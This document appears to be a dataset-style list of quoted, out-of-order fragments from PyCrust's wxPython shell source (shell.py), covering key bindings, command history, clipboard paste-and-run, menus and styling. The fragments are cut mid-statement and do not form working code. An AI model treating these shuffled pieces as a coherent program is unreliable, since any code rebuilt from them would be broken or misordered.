"'Show call tips with argument specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP,",
"except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of",
"getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the editor. The command may not",
"elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation prompt.",
"we can make sure they want to quit. # Other applications, like PythonCard,",
"menu items.\"\"\" def createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit",
"Import a default interpreter class if one isn't provided. if InterpClass == None:",
"to be sent to the interpreter. This particular shell is based on wxPython's",
"the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() # If",
"# Add the previous command to the list. commands.append(command) # Start a new",
"wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE",
"update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and",
"'\\n' command += line commands.append(command) for command in commands: command = command.replace('\\n', os.linesep",
"WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only",
"a command is issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2)",
"= data.GetText() text = text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text =",
"PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if text is selected",
"== wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic)",
"wxBusyCursor() self.more = self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for handler in",
"ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS,",
"charBefore = 32 # Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos - 1)",
"the end of the line. End Go to the end of the line.",
"the prompt and the cursor. # Add the autocomplete character to the end",
"ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo()",
"ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class",
"sys.stderr self.handlers = [] self.python_obj_paste_handler = None # Add the current working directory",
"clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1):",
"searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i",
"self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos()",
"def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event):",
"home: self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() #",
"the prompt and the cursor. # Add the '(' to the end of",
"= [] self.historyIndex = -1 self.historyPrefix = 0 # Assign handlers for keyboard",
"charAfter = 32 # Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter",
"'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method in methods:",
"introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent,",
"the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if",
"and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only allow these keys",
"redirect=1): \"\"\"If redirect is true then sys.stdin will come from the shell.\"\"\" if",
"id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT:",
"if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste()",
"# Otherwise, put the cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def",
"elif controlDown and not shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy()",
"key not in NAVKEYS and not self.CanEdit(): pass # Paste from the clipboard.",
"= self.history newindex = self.historyIndex + step if -1 <= newindex <= len(history):",
"__doc__', 'Show __doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show",
"methods: self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other'] = other d['helpText'] =",
"here if more. if self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0)",
"provided without warranty under the terms of the BSD # license included in",
"$\"[11:-2] from wx.wx import * from wx.stc import * import keyword import os",
"from the history buffer. elif (shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1)",
"ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW,",
"now but later we want to send a close event. # In the",
"\\ *args, **kwds) # Find out for which keycodes the interpreter will autocomplete.",
"m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips with argument specifications', 1) m",
"Patch to fix bug in wxSTC for wxPython < 2.3.3. if charAfter <",
": 'Comic Sans MS', 'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF', }",
"replaced by the enclosing app # to do something more interesting, like write",
"+ sys.ps2) else: command = '' if rstrip: command = command.rstrip() return command",
"m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips",
"wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif",
"contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data):",
"handling to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" #",
"== WXK_UP) \\ or (altDown and key in (ord('P'), ord('p'))): self.OnHistoryReplace(step=+1) # Replace",
"n = len(prefix) if n > 0: self.historyMatches = matches = [] for",
"text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = [] command = '' for line",
"century schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade:",
"m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self, 'crust' ):",
"'Automatic Update', 'Automatically update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods',",
"= self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict",
"1 # Check after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch",
"They could be # sitting on any line in the shell. thepos =",
"# Don't backspace over the latest non-continuation prompt. elif key == WXK_BACK: if",
"def ask(self, prompt='Please enter your response:'): \"\"\"Get response from the user using a",
"(even an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise,",
"\\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the",
"space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\ and",
"of previously submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown()",
"!= -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event):",
"fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling',",
"elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id ==",
"else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if",
"may choose to hide rather than # quit so we should just post",
"= self.GetTextLength() # If they hit RETURN inside the current command, execute the",
"event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only allow these keys after the",
"self.prompt() for command in file.readlines(): if command[:6] == 'shell.': # Run shell methods",
"-1 self.historyPrefix = 0 # Insert this command into the history, unless it's",
"return without entering a value. command = '\\n' self.reader.input = command self.write(os.linesep) else:",
"if text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size] == ps2: text =",
"[] self.python_obj_paste_handler = None # Add the current working directory \".\" to the",
"(Raw)', '') try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text finally:",
"do its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally. elif",
"be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and",
"size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2 faces['lnsize']",
"want to send a close event. # In the close event handler we",
"elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc) elif id ==",
"PyCrust.interpreter import Interpreter else: Interpreter = InterpClass # Create default locals so we",
"the previous command, decremented as you retrieve the # next, and reset when",
"six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the close button",
"previously submitted commands/responses. if not self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos()",
"setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins. This simply sets \"close\", \"exit\"",
"end of the line. End Go to the end of the line. Ctrl+C",
"Process the command if the 'Enter' key was pressed: key = event.GetKey() if",
"__revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import * from wx.stc import *",
"from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2",
"control in which a user types in commands to be sent to the",
"the dictionary that was passed in. if locals: shellLocals.update(locals) # Create a replacement",
"- 1) #*** Patch to fix bug in wxSTC for wxPython < 2.3.3.",
"command = '' # Real commands have prompts. if rstrip: command = command.rstrip()",
"text def push(self, command): \"\"\"Send command to the interpreter for execution.\"\"\" self.write(os.linesep) busy",
"for. numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0:",
"if self.AutoCompActive(): self.AutoCompCancel() # Get the command between the prompt and the cursor.",
"the # prompt every time a command is issued. ps1 = str(sys.ps1) ps1size",
"fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS,",
"class if one isn't provided. if InterpClass == None: from PyCrust.interpreter import Interpreter",
"can make sure they want to quit. # Other applications, like PythonCard, may",
"we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into",
"= wxBusyCursor() self.more = self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for handler",
"'Show __dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__",
"'shell' to the interpreter's local namespace. try: self.setLocalShell() except: pass # Do this",
"shiftDown \\ and key in (ord('V'), ord('v'))) \\ or (shiftDown and not controlDown",
"WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation prompt. elif key ==",
"self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\"",
"buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix = self.getCommand(rstrip=0)",
"the clipboard, run commands. elif controlDown and shiftDown \\ and key in (ord('V'),",
"if text is selected and can be cut.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd() \\",
"\\ 'Show call tips with argument specifications', 1) m = self.optionsMenu = wxMenu()",
"XXX Need to extract real prompts here. Need to keep track of the",
"self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite)",
"that the presence of a PythonObject on the # clipboard is really just",
"and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event",
"= '' if rstrip: command = command.rstrip() return command def getCommand(self, text=None, rstrip=1):",
"\"\"\"Display appropriate prompt for the context, either ps1, ps2 or ps3. If this",
"matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command",
"to send a close event. # In the close event handler we can",
"bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more",
"if list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command):",
"OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self,",
"namespace. try: self.setLocalShell() except: pass # Do this last so the user has",
"as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the",
"of points is added to the size of all fonts. It may be",
"wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete =",
"elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id ==",
"self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste)",
"and key in (ord('X'), ord('x'))) \\ or (shiftDown and key == WXK_DELETE): self.Cut()",
"os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is",
"up to the cursor is what we search for. numCharsAfterCursor = self.GetTextLength() -",
"command = self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else: command += chr(key)",
"to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell' to the",
"< 0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC for",
"# New command. if command: # Add the previous command to the list.",
"self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" %",
"= event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble =",
"WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces = { 'times' :",
"and key in (ord('L'), ord('l')): pass # Don't allow line transposition. elif controlDown",
"history buffer. elif (controlDown and key == WXK_UP) \\ or (altDown and key",
"self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd",
"some are visible to the user.\"\"\" name = 'PyCrust Shell Interface' revision =",
"sizing bug on Win platform. # The font was 2 points too large.",
"import PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3 = '<-- ' #",
"command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2)",
"Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run multiple commands",
"true if text is selected and can be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd()",
"id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE:",
"self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll()",
"EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu)",
"Orbtech - Your source for Python programming expertise.\"\"\" from __future__ import print_function __author__",
"startpos = self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2:",
"(len(self.history) == 0 or command != self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display",
"last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C',",
"\"\"\"Return text without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2",
"self.write(os.linesep) else: self.push(command) # Or replace the current command with the other command.",
"terms of the BSD # license included in enthought/LICENSE.txt and may be redistributed",
"shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous",
"self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\",
"} # Versions of wxPython prior to 2.3.2 had a sizing bug on",
"style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" %",
"the history; it gets incremented as you # retrieve the previous command, decremented",
"completion. # Get the command between the prompt and the cursor. # Add",
"So we need to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) <",
"event.GetKey() if key == 28 or key == 1241712: # Is there a",
"will come from the shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin =",
"on the current command, not in the history. self.history = [] self.historyIndex =",
"to fix bug in wxSTC for wxPython < 2.3.3. if charBefore < 0:",
"def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it on the clipboard.\"\"\" if",
"Command-completion of History item. (Type a few characters of a previous command and",
"for Python programming expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__",
"Insert Previous History item. Shift+Down Arrow Insert Next History item. F8 Command-completion of",
"handled normally. elif controlDown and altDown: event.Skip() # Clear the current, unexecuted command.",
"that includes text prior to the prompt. # # Don't modify a selection",
"sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data =",
"= PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 # Set up the interpreter.",
"self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return",
"\\ \"\"\" * Key bindings: Home Go to the beginning of the command",
"if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos)",
"key in (ord('T'), ord('t')): pass # Basic navigation keys should work anywhere. elif",
"= event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update()",
"curpos = self.GetCurrentPos() tippos = curpos - (len(name) + 1) fallback = curpos",
"def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method will most likely be",
"# Don't modify a selection with text prior to the prompt. elif selecting",
"else: Interpreter = InterpClass # Create default locals so we have something interesting.",
"(WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces =",
"self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line +=",
"\\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for which keycodes the interpreter",
"= self.GetCharAt(caretPos - 1) #*** Patch to fix bug in wxSTC for wxPython",
"class ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This is a semi-transparent facade,",
"else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder: command",
"if currpos > home: self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible()",
"what to do. They could be # sitting on any line in the",
"up the history for the text in front of the cursor. elif key",
"instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab these so they can",
"shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from",
"command = command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n', os.linesep",
"OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self,",
"OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import sys",
"= self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset = 0",
"os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION",
"dialog.GetValue() return text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending a",
"\"\"\"If redirect is true then sys.stderr will go to the shell.\"\"\" if redirect:",
"we want to automatically pop up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255,",
"# Protect the readonly portion of the shell. elif not self.CanEdit(): pass else:",
"endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command",
"self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process the line of text at",
"CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it on the clipboard.\"\"\" if self.CanCopy():",
"command != self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text in the shell.",
"'other' : 'new century schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF',",
"'&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call",
"stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 # Set up",
"self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt):",
"key = event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos",
"self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the history buffer.\"\"\" if",
"else: self.insertLineBreak() # If the auto-complete window is up let it do its",
"command from the history buffer.\"\"\" self.ReplaceSelection('') if history is None: history = self.history",
"the clipboard. elif (controlDown and not shiftDown \\ and key in (ord('V'), ord('v')))",
"'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name",
"popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list)",
"find anything. if (self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder =",
"tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree",
"['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ]",
"+= os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create",
"ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW",
"warped into middle of the history. self.historyIndex = i break def setStatusText(self, text):",
"text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt for the context,",
"user has complete control over their # environment. They can override anything they",
"self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try:",
"sys.path.insert(0, os.curdir) # Import a default interpreter class if one isn't provided. if",
"revision = __revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask',",
"only some are visible to the user.\"\"\" name = 'PyCrust Shell Interface' revision",
"from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass # Create default locals so",
"app # decide what it wants to do. self.write('Click on the close button",
"EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow)",
"command = '' if rstrip: command = command.rstrip() return command def getCommand(self, text=None,",
"if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy() return ''",
"self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self,",
"items based on current status.\"\"\" id = event.GetId() if id == wxID_UNDO: event.Enable(self.shell.CanUndo())",
"multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve Previous",
"response from the user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all text",
"continue:') def clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def run(self, command,",
"PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true then",
"is an interactive text control in which a user types in commands to",
"None: from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass # Create default locals",
"startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def",
"the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -=",
"OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self,",
"== ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line +=",
"wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos",
"if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: # note that the presence",
